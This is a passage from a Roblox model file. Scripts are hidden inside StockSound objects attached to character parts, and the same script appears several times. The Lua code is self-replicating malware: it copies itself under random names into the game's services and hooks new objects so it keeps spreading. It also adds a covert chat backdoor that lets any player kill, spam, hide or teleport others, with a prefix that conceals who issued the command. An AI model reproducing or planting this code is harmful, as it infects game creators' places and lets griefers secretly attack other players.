if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX162">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-4.5</X>
							<Y>10.6999998</Y>
							<Z>-14.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX163">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">8f6y</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX164">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">pc8yf</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX165">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-2.5</X>
							<Y>8.69999981</Y>
							<Z>-14.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX166">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">3ugg3rfs0</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX167">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">kuy1zr</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
